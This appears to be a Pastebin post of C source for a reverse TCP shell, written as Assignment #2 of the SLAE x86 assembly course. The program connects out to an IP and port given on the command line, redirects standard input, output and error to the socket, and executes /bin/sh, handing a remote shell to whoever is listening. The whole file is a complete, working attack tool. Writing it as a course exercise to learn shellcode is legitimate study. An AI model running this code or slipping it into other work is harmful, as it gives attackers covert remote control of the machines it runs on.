Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <error.h>
- /*
- Id: SLAE -1107
- SLAE Intel x86
- Basic reverse shell implementation in C.
- Assignment #2
- Create Shell_Reverse_TCP shellcode
- - Reverse connects to configured IP and port
- - Execs shell on incoming connection
- The IP and port number should be easily configurable
- */
- void reverse_shell(char *ip_address, int port)
- {
- int s;
- char *sc[] = { "/bin/sh", 0 };
- struct sockaddr_in server;
- s = socket(AF_INET, SOCK_STREAM, 0);
- server.sin_family = AF_INET;
- server.sin_addr.s_addr = inet_addr(ip_address);
- server.sin_port = htons(port);
- //int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
- int conn = connect(s, (struct sockaddr *) &server, sizeof(struct sockaddr_in));
- if (conn == ERROR) {
- printf("[*] could not connect to %s \n", ip_address);
- exit(-1);
- }
- dup2(s, 0);
- dup2(s, 1);
- dup2(s, 2);
- execve(sc[0], &sc[0], NULL);
- }
- int main(int argc, char *argv[])
- {
- if (argc < 3)
- printf("Please provide an IP address and port number.\n");
- if (argc == 3) {
- char *ip_address = argv[1];
- int port = atoi(argv[2]);
- printf("[*] connecting to %s on port %d \n", ip_address, port);
- reverse_shell(ip_address, port);
- }
- return 0;
- }
Add Comment
Please, Sign In to add comment